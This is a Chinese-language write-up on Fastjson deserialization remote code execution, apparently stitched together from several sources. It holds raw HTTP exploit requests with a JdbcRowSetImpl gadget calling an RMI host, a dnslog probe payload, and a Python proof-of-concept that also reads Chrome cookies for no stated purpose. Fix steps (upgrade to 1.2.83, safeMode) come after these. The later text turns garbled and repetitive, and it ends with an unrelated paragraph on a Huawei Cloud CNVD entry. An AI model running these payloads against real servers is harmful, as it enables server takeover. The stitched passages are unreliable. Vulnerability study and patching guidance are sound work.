POST / HTTP/1.1
Host: 192.168.117.131:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 273
Content-Type: application/json
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.117.131:9999/TouchFile",
"autoCommit":true
5.查看响应结果,可以看到已经成功利用
6.也可以通过dnslog来简单验证是否存在该漏洞,请求构造包如下
POST / HTTP/1.1
Host: 192.168.117.131:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 64
Content-Type: application/json
{"a":{"@type":"java.net.Inet4Address","val":"xf35f1.dnslog.cn"}}
可以看到确实有访问,说明存在漏洞
六、修复方式
请目前官方已在最新版本1.2.83中修复了该漏洞,请受影响的用户尽快升级版本进行防护,官方下载链接:https://github.com/alibaba/fastjson/releases
升级步骤如下:
1.备份原fastjson依赖库,避免升级失败的情况发生。
2.将低版本的fastjson库替换为1.2.83版本即可
开发人员可通过配置Maven的方式对应用进行升级并编译发布,配置如下:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>
注:该版本涉及autotype行为变更,在某些场景会出现不兼容的情况,若遇到问题可以到 https://github.com/alibaba/fastjson/issues 寻求帮助。
临时防护措施:
若相关用户暂时无法进行升级操作,也可使用下列方式进行缓解:
由于autotype开关的限制可被绕过,请受影响用户升级fastjson至1.2.68及以上版本,通过开启safeMode配置完全禁用autoType。三种配置SafeMode的方式如下:
1.在代码中配置:
ParserConfig.getGlobalInstance().setSafeMode(true);
2.加上JVM启动参数:
-Dfastjson.parser.safeMode=true
如果有多个包名前缀,可用逗号隔开。
3.通过fastjson.properties文件配置:
通过类路径的fastjson.properties文件来配置,配置方式如下:
fastjson.parser.safeMode=true
参考官方文档:https://github.com/alibaba/fastjson/wiki/fastjson_safemode
另可通过将有风险的类添加至黑名单进行防护:
ParserConfig.getGlobalInstance().addDeny("类名");
利用链可参考:
https://github.com/alibaba/fastjson/commit/560782c9ee12120304284ba98b61dc61e30324b3
——原文在这里
七、Poc
import requests
from selenium.webdriver import Chrome
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.by import By
import time
import browser_cookie3
def verify(dnslog):
time.sleep(5)
driver.find_element(By.XPATH, '//*[@id="content"]/button[2]').click()
time.sleep(5)
ver = driver.find_element(By.XPATH, '//*[@id="myRecords"]/tbody/tr[2]/td[1]')
re = dnslog
flag = re in str(ver.text)
if flag:
print("It looks likely vulnerable")
else:
print("It is strong")
def exploit(url,dns):
cookie = browser_cookie3.chrome()
dnslog = driver.find_element(By.XPATH, '//*[@id="myDomain"]').text
payload = '{"a":{"@type":"java.net.Inet4Address","val":"%s"}}'%(dnslog)
response = requests.post(url=url,data=payload)
if response.status_code == 200:
verify(dnslog)
if __name__ == '__main__':
url = 'http://' + input('Please input your ip:port(such as--127.0.0.1:80):')
driver = Chrome()
driver.get("http://www.dnslog.cn/")
WebDriverWait(driver, 10).until(lambda d: "DNSLog" in d.title)
driver.find_element(By.XPATH, '//*[@id="content"]/button[1]').click()
time.sleep(5)
dns = driver.find_element(By.XPATH, '//*[@id="myDomain"]')
exploit(url,dns.text)
Fastjson是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。它还可以用于将JSON字符串转换为等效的Java对象,fastjson爆出多个反序列化远程命令执行漏洞,攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。
二、影响版本
Fastjson < 1.2.68
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java
对象。 0x01 漏洞详情 Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON
字符串转换为 Java 对象
Fastjson提供了autotype功能,允许用户在反序列化数据
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。
Fastjson 源码地址:https://github.com/alibaba/fastjson
Fastjson 中文 Wiki:https://github.com/alibab...
CNVD-2019-37364是关于华为云容器服务存在的安全漏洞。该漏洞存在于华为云容器服务的Kubernetes集群中,攻击者可以通过构造恶意请求,绕过容器内部的网络隔离机制,实现对其他容器中的敏感信息的访问和攻击。
具体来说,该漏洞是由于Kubernetes集群中的一个漏洞导致的,攻击者可以通过构造恶意网络请求,将网络流量路由到其他容器中,从而实现对其他容器的攻击和访问。攻击者可以利用该漏洞获取容器中的敏感信息、执行恶意代码、发起拒绝服务攻击等。
华为云已经在2019年6月份发布了漏洞修复公告,并且提供了相应的修复措施,建议用户尽快进行漏洞修复。同时,用户也可以采取以下措施来加强容器安全:
1. 及时更新容器镜像和应用程序,确保已经修复了已知的漏洞。
2. 启用容器内部的网络隔离机制,限制容器之间的网络访问权限。
3. 对容器内部的敏感信息进行加密或者其他保护措施,确保信息不会被未授权访问。
4. 对容器内部的应用程序进行安全审计,及时发现和修复可能存在的漏洞。
5. 对容器进行安全加固,如:关闭不必要的服务、减少系统漏洞等。